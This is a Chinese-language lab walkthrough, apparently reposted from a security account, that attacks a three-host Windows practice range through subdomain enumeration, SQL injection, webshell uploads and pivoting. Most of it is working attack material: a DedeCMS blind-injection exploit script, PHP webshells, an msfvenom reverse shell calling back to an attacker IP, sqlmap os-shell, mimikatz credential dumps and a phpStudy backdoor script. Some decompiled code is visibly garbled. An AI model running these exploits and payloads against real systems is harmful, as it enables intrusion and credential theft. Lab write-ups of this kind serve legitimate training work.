查看原文
其他

Windows内网多级渗透

听风安全 2023-11-28

The following article is from A11Safe Author toxic80l

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------

本文主要为 Windows 多级内网渗透,其中涉及多种技术,包括子域名探测、SQL注入、烂土豆提权、MSSQL提权、.NET代码审计、mimikatz密码获取等知识。

0x01 靶机环境搭建

靶场中包含三台靶机,具体的网络拓扑图如下

在虚拟网络编辑器中创建两个主机网段10.10.10.0/2410.10.1.0/24,分别将其命名为VMnet18VMnet19

完成后根据拓扑图环境分别配置三台靶机的主机网卡

护卫神主机管理员的默认密码为!@#Qwe123.,登录后查看IP地址为192.168.0.134

当然也可以使用 netdiscover 发现内网主机

netdiscover 192.168.0.0/24

正常访问目标站点,说明环境成功搭建完成

接下来需要在 hosts 文件中绑定域名解析

sudo vim /etc/hosts

#
# 配置
192.168.0.134 www.cc123.com

成功访问目标站点,靶机环境部署完成

0x02 外网边界突破

端口扫描

使用 masscan 快速扫描目标全部端口

sudo masscan -p 1-65535 192.168.0.134 --rate=200

在使用 masscan 进行扫描时需要注意扫描速率,速率太快很可能导致端口扫描情况不准确,比如我之前分别使用 500 以及 1000 的速率进行扫描均未得到完整的端口信息

使用 nmap 对 masscan 扫描到的端口进行具体的信息探测

nmap -A -sC -p 21,53,80,135,999,3389,6588,49154,49155 192.168.0.134

80端口

访问域名后界面为科讯CMS,站点采用的中间件为 IIS 7

999端口

访问后界面为数据库管理工具 PHPMyAdmin

6588端口

访问后界面为护卫神主机大师的登录界面

子域名扫描

在端口探测时目标开放了53端口,说明存在域名解析服务,因此我们可以将该主机作为域名解析服务器来解析cc123.com,从而探测它的子域名。尝试修改 DNS 解析服务器

sudo vim /etc/resolv.conf

#
# 配置
nameserver 192.168.0.134

与此同时在服务器上添加 DNS 域名解析

使用 wfuzz 进行子域名枚举

wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-110000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53

成功发现目标存在如下子域名

www.cc123.com
new.cc123.com
ww2.cc123.com

访问new子域名,界面显示为织梦CMS

访问ww2子域名,界面显示为一家名为亿成的市政服务公司官网

0x03 new子域渗透

前台SQL注入

由于new子域名对应的是 DEDECMS,默认后台登录路径为/dede,尝试使用弱口令登录无果

默认前台登录路径为/member,尝试弱口令也是无果

在注册界面中注册用户mac/mac,同时完善用户信息

进入个人用户中心

访问路径/data/admin/ver.txt发现当前 DEDECMS 的版本为20150618,可能存在SQL注入漏洞在此之前我们需要收集用户的 Cookie,按 F12 复制请求头

筛选 Cookie 并将其放入cookies.txt当中

源代码如下:

import sys,os
import urllib2
import time
opener = urllib2.build_opener()

def getCookes():
    line = open('cookies.txt','r')
    c = line.readline()
    line.close()
    return c

cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

def exploite(target):
    password = ""
    for i in range(1,21):
        for p in payloads:
            s1 = "%s" %(i)
            s2 = "%s" %(ord(p))
            s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
            start_time = time.time()
            try:
                req = urllib2.Request(s)
                req_data=opener.open(req,timeout=20)
                now = time.strftime('%H:%M:%S',time.localtime(time.time()))
                if time.time() - start_time > 4.0:
                    password = password+p
                    print "["+str(now)+"]: "+s1+" -> "+password
            except urllib2.URLError,e:
                print e;
    return password
def myhelp():
    print "\n+------------------------------+"
    print "|  Dedecms 20150618 member sqli|"
    print "|  mOon  www.moonsec.com       |"
    print "|  MTEAM:moon@moonsec.com      |"
    print "+------------------------------+\n"

def main():
    if len(sys.argv)< 2:
        myhelp()
        sys.exit()
    now = time.strftime('%H:%M:%S',time.localtime(time.time()))
    print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
    print "password is %s" % (exploite(sys.argv[1]))

if __name__ == '__main__':
    main()

使用脚本进行扫描 SQL 注入漏洞,但测试失败

python2 exp.py http://new.cc123.com

其注入前提是需要在分类管理中添加分类,其中分类名称任意

操作完成后再次扫描,虽然能够成功注入,但是注入明显还是有点问题

切换 Windows 进行测试,完成域名解析以及 Python 安装后再次扫描

python exp.py http://new.cc123.com

成功拿到密文为812df726be884ddcfc41,在解密网站中成功解密为admin7788

后台上传木马

使用admin/admin7788成功登录网站后台

找到文件管理员并向其中上传一句话木马

<?php eval($_POST['mac'])?>

使用蚁剑成功连接木马,木马地址为http://new.cc123.com/uploads/mac.php

烂土豆提权

尝试在蚁剑中执行命令,但是命令执行失败

说明当前权限较低,与此同时发现 ASP.NET 目录,那么上传 aspx 是否能解析呢?

上传 aspx 木马AspxSpy2014Final.aspx并访问发现成功解析,输入密码admin进入大马

命令执行发现当前权限比 PHP 小马的权限高

但是当前权限仍然不足,我们可使用 MSF 进行提权,首先生成 EXE 类型木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.114 lport=7777 -f exe > mac.exe

与此同时在本地监听7777端口

msfconsole
msf > use exploit/multi/handler
msf > set lhost 192.168.0.114
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 7777
msf > show options
msf > exploit -j

上传木马后无法运行,需要上传脚本检查目录的执行权限

成功找到可用目录为c:\windows\debug\WIA,在该目录下上传木马并执行

成功收到 meterpreter

使用local_exploit_suggester模块寻找可用的提权漏洞,但是又出现报错

msf > use post/multi/recon/local_exploit_suggester
msf > set session 1
msf > show options
msf > run

选择 MS16-075 进行提权,成功拿到 SYSTEM 权限

msf > use exploit/windows/local/ms16_075_reflection_juicy
msf > set session 1
msf > run

在站点目录中成功找到第一个flag

cd C:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web\upimg
dir 
type flag.txt

在管理员目录下成功找到第二个flag

cd C:\Users\Administrator
dir
type flag2.txt

0X04 ww2子域渗透

后台SQL注入

使用 gobuster 扫描目标站点,成功发现后台目录/admin以及/editor

gobuster dir -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "asp,html" -o ww2_cc123_com.txt

访问admin后界面为 GrCMS 管理系统

使用 BurpSuite 截取登录数据包,重放后数据包仍然有用说明验证码可以复用,尝试爆破管理员 admin 的密码

成功拿到密码为cc123,与此同时在对用户名进行爆破时发现目标存在万能密码漏洞

POST /admin/Login.aspx HTTP/1.1
Host: ww2.cc123.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 499
Origin: http://ww2.cc123.com
Connection: close
Referer: http://ww2.cc123.com/admin/Login.aspx
Cookie: _ga_7VBGV5VRLB=GS1.1.1653417876.1.1.1653417947.0; _ga=GA1.2.961710506.1653417877; _ga_6NMMDGGQXS=GS1.1.1653417876.1.1.1653417947.0; CheckCode=4JP4; ASP.NET_SessionId=nqhoxe5j1pxeop0macvxdqgn
Upgrade-Insecure-Requests: 1

__VIEWSTATE=%2FwEPDwUJMzMyMjA3OTM4ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24xqZOLn0fzcRfu7EbEDKHoyvx3obU94MS6VAUneBJOkZ0%3D&__VIEWSTATEGENERATOR=82312306&__EVENTVALIDATION=%2FwEdAAc5ZYESCKH66fJHGLAe4TLCKhoCyVdJtLIis5AgYZ%2FRYe4sciJO3Hoc68xTFtZGQEgOC%2FFhCJvlJJDlu9nTwjvq6ZACrx5RZnllKSerU%2BIuKh2nXP6dhZn6mKtmTGNHd3MtizSQ3FDPz4jhBkvaNoE1AM2SGgwYOgU2pIFlxhELWg1KHCIX5swqFeVF8xxNL%2Fg%3D&username=admin*&password=123456&safecode=4JP4&ImageButton1.x=30&ImageButton1.y=4&TextBox2=

万能密码的本质是 SQL 注入漏洞,因此可使用 sqlmap 进行注入

sqlmap -r sqli.txt --banner --current-user

成功扫描到SQL注入漏洞并拿到如下信息:

1、数据库为MSSQL
2、当前用户为数据库管理员sa

列出库名信息,列出表名、列名也是类似操作

sqlmap -r sqli.txt --dbs --dbms mssql

由于当前用户为 sa,开启xp_cmdshell组件后可执行命令,通过 sqlmap 中的--os-shell自动化执行操作,查看权限发现当前用户为系统权限

sqlmap -r sqli.txt --os-shell

查看IP地址发现为10.10.10.131,说明目标站点站库分离,我们已经拿到内网主机

ipconfig

.NET代码审计

通过 SYSTEM 权限进入主机 ww2cc123 目录当中,目录中都是aspx文件

dir c:\HwsHostMaster\wwwroot\ww2cc123_55m39\web

但访问站点时并没有发现 asp 文件,说明站点可能采用了伪静态技术

查看配置文件web.config找到伪静态规则

type web.config

而 aspx 文件并没有实质内容,配置代码全部都在bin目录当中,将该目录下载下来

cd c:/
cd HwsHostMaster/wwwroot/ww2cc123_55m39/web/
download bin

使用 ILSPY 进行反编译,导入对应的 dll 文件即可获取到对应代码

反编译App_Web_login.aspxdll 文件后的代码如下:

验证码重用

protected void ImageButton1_Click(object sender, ImageClickEventArgs e)
{
 if (base.Request.Cookies["CheckCode"].Value == safecode.Text.Trim().ToUpper())
 {
  string sql = "select * from admin where username='" + username.Text.Trim() + "' and password='" + StringClass.Encrypt(password.Text.Trim(), "yx139222") + "'";
  DataSet tableData = DBClass.GetTableData(sql, "admin");
  if (tableData != null && tableData.Tables["admin"].Rows.Count > 0)
  {
   Session["users"] = username.Text.Trim();
   base.Response.Redirect("index.aspx");
  }
  else
  {
   base.Response.Write("<script>alert('姓名或密码输入错误!');javascript:history.back(-1);</script>");
  }
 }
 else
 {
  base.Response.Write("<script>alert('验证码输入错误!');javascript:history.back(-1);</script>");
 }
}

在 ImageButton1_Click 函数中发现验证码验证机制,假设我们通过重用验证码进行爆破,登录失败只会直接提示姓名或密码输入错误,而没有刷新验证码操作,这导致了验证码重用漏洞的产生

后台SQL注入

与此同时以上代码还将用户名和密码直接传递给 SQL 语句,但是代码中并未对输入进行过滤,导致我们可以进行 SQL 注入,比如将用户设置为admin'--,对应的 SQL 语句如下:

select * from admin where username='admin'--' and password='xxx';

以上 SQL 语句的结果为真,利用admin'--能够直接登录目标后台,也就是说存在万能密码漏洞。经实践后可绕过身份认证机制成功登录管理后台

进一步对其他 ASP.Net 代码反编译后台文件,同样未对 SQL 参数输入进行过滤,这说明可能全局存在 SQL 注入漏洞

后台编辑器文件上传

查看目标源码资源,成功发现编辑器的名字为 KindEditor,这个编辑器存在文件上传以及XSS漏洞

首先在后台中点击文件上传,文件源码如下:

<script>alert(document.cookie)</script>

通过 Burp 抓取数据包,将参数 dir 中的值有 image 转换为 file

成功上传,访问该地址成功弹出 cookie 信息

前台XSS

在前台所有文件都是正常的 aspx 脚本,成功拿到如下源码信息

<%@ page language="c#" runat="server" %>
<script language="c#" runat="server">
public string strStyle;
public string strtheurl;
public void Page_Load(Object src,EventArgs e)
{
NameValueCollection ServerVariables = Request.ServerVariables;
strStyle=Request.QueryString["style"];
strtheurl=ServerVariables["URL"].ToString();
strtheurl=strtheurl.Substring(0,strtheurl.IndexOf("mystat.aspx",0,strtheurl.Length));
strtheurl="http://"+ServerVariables["HTTP_HOST"].ToString()+strtheurl;

}
</script>
document.write("<script>var style='<%=strStyle%>';var url='<%=strtheurl%>';</script>")
_dwrite("<script language=javascript src="+url+"stat.aspx?style="+style+"&referer="+escape(document.referrer)+"&screenwidth="+(screen.width)+"></script>");
function _dwrite(string) {document.write(string);}

如果直接输出会存在 XSS 漏洞,具体 payload 如下:

mystat.aspx?style=</script><script>alert(/xss/)</script><script>

成功弹出 XSS

解密对称加密密文

在进行SQL注入时只拿到用户的密文密码

在站点目录C:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web中发现网站配置文件web.config,其中包含数据库连接账号密码sa/!@#a123..

在木马中连接数据库,查找对应的账号密码字段

admin AE5F6187F32825CA
cc123 B97C57DB005F954242450A255217DA9F

APP_Web_login.aspx中发现密钥为yx139222

string sql = "select * from admin where username='" + username.Text.Trim() + "' and password='" + StringClass.Encrypt(password.Text.Trim(), "yx139222") + "'";

单击Encrypt跳转至加密函数当中,源代码如下:

public static string Encrypt(string pToEncrypt, string sKey)
{
 DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
 byte[] bytes = Encoding.Default.GetBytes(pToEncrypt);
 dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
 dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
 MemoryStream memoryStream = new MemoryStream();
 CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
 cryptoStream.Write(bytes, 0, bytes.Length);
 cryptoStream.FlushFinalBlock();
 StringBuilder stringBuilder = new StringBuilder();
 byte[] array = memoryStream.ToArray();
 foreach (byte b in array)
 {
  stringBuilder.AppendFormat("{0:X2}", b);
 }
 stringBuilder.ToString();
 return stringBuilder.ToString();
}

同时还发现解密函数Decrypt,源代码如下:

public static string Decrypt(string pToDecrypt, string sKey)
{
 DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
 byte[] array = new byte[pToDecrypt.Length / 2];
 for (int i = 0; i < pToDecrypt.Length / 2; i++)
 {
  int num = Convert.ToInt32(pToDecrypt.Substring(i * 22), 16);
  array[i] = (byte)num;
 }
 dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
 dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
 MemoryStream memoryStream = new MemoryStream();
 CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
 cryptoStream.Write(array0array.Length);
 cryptoStream.FlushFinalBlock();
 new StringBuilder();
 return Encoding.Default.GetString(memoryStream.ToArray());
}

尝试通过 VS2019 来编写 DES 解密工具,首先选择 .net 框架为 4.5

创建控件绘制窗口UI,完成后如下

将解密函数添加其中,与此同时添加执行脚本

public static string Decrypt(string pToDecrypt, string sKey)
{
...
}

private void button2_Click(object sender,EventArgs e)
{
    string password = textBox4.Text.Trim();
    string key = textBox2.Text.Trim();
    textBox1.Text = Decrypt(password, key)
}

编译生成后运行,同时输入密文值

解密成功后获得如下账号密码

admin AE5F6187F32825CA cc123
cc123 B97C57DB005F954242450A255217DA9F qwasd123

0x05 内网横向渗透

基础环境信息收集

使用 MSF 执行命令可以发现目标存在两个IP

meterpreter > ifconfig

IP地址分别如下:

192.168.0.134
10.10.10.130

利用模块get_local_subnets查看当前网段

meterpreter > run get_local_subnets

IP网段分别如下:

192.168.0.0/24
10.10.10.0/24

在转移进程前需查看当前主机进程

meterpreter > ps

成功将进程迁移到其他正常 SYSTEM 进程下

使用 hashdump 获取哈希值,但系统出现报错

meterpreter > run hashdump

利用 mimikatz 获取明文密码

meterpreter > load mimikatz
meterpreter > creds_msv
meterpreter > creds_kerberos
Username       Domain           NTLM                       SHA1                       LM
--------       ------           ----                       ----                       --
Administrator  WIN-KALKEMT3JMA  1c933df09b600efabee0791aa  ef773c356ba88403c1eabc39d  32801fe143b57a06b58412991
                                ccc43f2                    dfd5cf33fb9a8f6            20d114d
MySQL_HWS      WIN-KALKEMT3JMA  6a75a75e4cfd3cf00faf743e1  ccde64b1b93163969d778388f
                                7e90a53                    08a131cea449f8d
cc123          WIN-KALKEMT3JMA  afdeb425b4a55982deb4e80fa  279a2fa09ccdeb4578150600b  84fd84bc774b68b61271405ef
                                3387576                    f92b9c2d4e76c75            a18e1ef
newcc123       WIN-KALKEMT3JMA  97824315153b4dd665d6c688f  c993d52cb47bba40050187e3a
                                446ebf1                    b6e440b0cd479c3
Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-KALKEMT3JMA  !@#Qwe123.
MySQL_HWS         WIN-KALKEMT3JMA  5f 00 48 00 68 00 38 00 40 00 69 00 4f 00 77 00 40 00 40 00 54 00 73 00 37 0
                                   0 59 00 4b 00 71 00 64 00 57 00 4a 00 32 00 09 ff 57 00 4a 00 32 00 77 00 6d
                                    00 54 00 61 00 46 00 28 00
cc123             WIN-KALKEMT3JMA  Ht6_ifp6nvkjn
newcc123          WIN-KALKEMT3JMA  ZtKGmDj0qEbDECSBl5p
newcc123          IIS APPPOOL      (null)
win-kalkemt3jma$  WORKGROUP        (null)

如果需要查看相关帮助信息,可以执行help kiwi命令

建立socks代理

添加10.10.10.0/24内网路由段

meterpreter > run autoroute -s 10.10.10.0/24

查看当前已添加路由

meterpreter > run autoroute -p

运行模块socks_proxy建立 socks 代理

meterpreter > use auxiliary/server/socks_proxy
meterpreter > set srvport 2222
meterpreter > show options
meterpreter > run

通过 proxychains 建立代理

vim /usr/local/etc/proxychains.conf
#配置
socks5 127.0.0.1 2222

使用 nmap 通过代理进行扫描,测试成功

proxychains4 nmap -Pn 10.10.10.131

端口扫描结果如下:

渗透数据库服务器

使用 MSF 生成正向连接木马

msfvenom -p windows/meterpreter/bind_tcp lport=12222 -f exe > mac2.exe

把木马mac2.exe通过站点木马中的 MSSQL 数据库连接函数完成上传

执行上传木马,在数据库服务器中开启 12222 端口

使用 MSF 开启监听以获取数据库服务器的权限

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.10.131
msf > set lport 12222
msf > show options
msf > run

同理将进程迁移到系统进程当中

meterpreter > ps
meterperter > migrate 596

查看网络信息发现目标存在两个IP地址

meterpreter > ifconfig

IP地址分别如下:

10.10.10.131
10.10.1.129

利用模块get_local_subnets查看当前网段

meterpreter > run get_local_subnets

IP网段分别如下:

10.10.10.0/24
10.10.1.0/24

获取数据库服务器哈希值,与此同时加载 mimikatz 获取明文

meterpreter > hashdump
meterpreter > load mimikatz
meterpreter > creds_msv
meterpreter > creds_kerberos
Administrator:500:aad3b435b51404eeaad3b435b51404ee:15132c3d36a7e5d7905e02b478979046:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

未拿到明文的原因是未登录数据库服务器,一旦登录到数据库服务器当中,服务器就会缓存密码信息,登录后再次获取成功拿到明文密码

meterpreter > creds_all
Username          Domain           Password
--------          ------           --------
Administrator     WIN-JJU7KU45PN7  !@#QWEasd123.

在管理员目录中成功拿到第三个flag

meterpreter > cd C:/Users/Administrator
meterpreter > cat root.txt.txt

渗透目标服务器

通过 MSF 添加目标网段10.10.1.0/24

run autoroute -s 10.10.1.0/24
run autoroute -p 

使用代理对目标主机进行扫描

proxychains4 nmap -Pn 10.10.1.128

端口扫描结果如下:

通过代理访问目标80端口为 phpstudy 界面

众所周知在 phpstudy 中存在一个后门,影响版本如下

phpstudy 2016 php-5.4
phpstudy 2018 php-5.2.17
phpstudy 2018 php-5.4.45

通过 BurpSuite 抓包修改请求头,测试该站点是否存在该漏洞(需要注意的是 BurpSuite 也要设置代理,否则无法访问到 10.10.1.0/24 网段

Accept-charset: c3lzdGVtKCd3aG9hbWknKTs=
Accept-Encoding: gzip,deflate

但是并未执行成功,尝试编写 python 脚本进行自动化执行命令

#conding:utf-8

import requests
import socks
import socket
import sys
import base64

command = "system('"+sys.argv[1]+"');"
url = "http://10.10.1.128"

socks.set_default_proxy(socks.SOCKS5, "127.0.0.1"2222)
socket.socket = socks.socksocket

command_bs64 = base64.b64encode(command.encode("utf-8"))
#print(command_bs64)
headers = {'Accept-charset':command_bs64,'Accept-Encoding':'gzip,deflate'}
def exp(target_url):
 req = requests.get(url, headers=headers).text
 return req

print(exp(url))

成功写入shell

python3 exp.py "echo ^<?php @eval(\$_POST[\"mac\"])?^>>c:\phpstudy\WWW\shell.php"

访问木马shell.php存在,说明成功写入

在菜刀中设置 socks 代理

设置木马地址以及密码后点击连接即可成功访问到目标服务器

通过命令执行发现当前权限为 SYSTEM

还是和之前一样上传 MSF 生成的木马mac2.exe,通过命令c:\mac2.exe执行木马

查看端口发现12222端口已开放,说明木马运行成功

使用 MSF 建立监听,通过正向连接成功获取目标服务器权限

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.1.128
msf > set lport 12222
msf > show options
msf > run

将当前进程迁移至系统进程

meterpreter > ps
meterpreter > migrate 468

获取哈希值

meterpreter > hashdump

加载 mimikatz 拿到明文密码

meterpreter > load mimikatz
meterpreter > creds_all
Username       Domain     Password
--------       ------     --------
Administrator  TARGET     !@#QWEasd123.
target$        WORKGROUP  (null)

对应的哈希值如下:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:15132c3d36a7e5d7905e02b478979046:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

在管理员目录当中发现最后一个flag

meterpreter > cd C:/Users/Administrator
meterpreter > cat root.txt

0x06 靶场学习总结

整个靶场全面地展示了 Windows 内网渗透,web 服务器部署方式为站库分离,因此假设我们拿下数据库也无法出网,幸好其中的子域名存在多个漏洞,可利用这些攻击面来进行攻击。通过信息收集发现new子域名的 CMS 为 DEDECMS,在该版本的 DEDECMS 可能存在 SQL 注入漏洞,利用注入成功找到后台的账号密码,经解密后拿到密码明文并成功登录后台,在后台中发现服务器文件管理界面,在其中上传木马便可成功拿到 IIS 权限,使用烂土豆(MS16-075)将其提权至系统权限。

通过信息收集发现ww2子域名的 CMS 为 GrCMS,通过目录扫描找到管理登录界面,经测试存在万能密码和弱口令漏洞,由于万能密码的本质是 SQL 注入漏洞,使用 sqlmap 注入发现数据库权限为 sa,借助 xp_cmdshell 提权拿到数据库服务器的系统权限。进入服务器发现站点采用伪静态,使用后台脚本语言为asp.net,尝试针对 .NET 进行代码审计找到许多漏洞,其中包括验证码重用、后台 SQL 注入、编辑器文件上传、前台 XSS 等。这些漏洞可用于后期编写渗透测试报告,提高劳动产出。

完成代码审计后进入内网渗透环节,利用 sqlmap 的os-shell执行命令上线 MSF,在中数据库服务器中通过信息收集发现另一个网段10.10.10.0/24。建立 socks 代理访问目标网段,在目标主机上发现其开放服务为 phpStudy,尝试利用 phpStudy 后门漏洞写入 webshell,正向连接成功上线 MSF,拿到目标服务器的系统权限。该靶场非常贴近实战,十分适合网络安全进阶人员练习,在实战渗透时能够提供给我们非常好的借鉴作用。


· END ·

点击下方名片,关注我们

觉得内容不错,就点下“”和“在看

如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存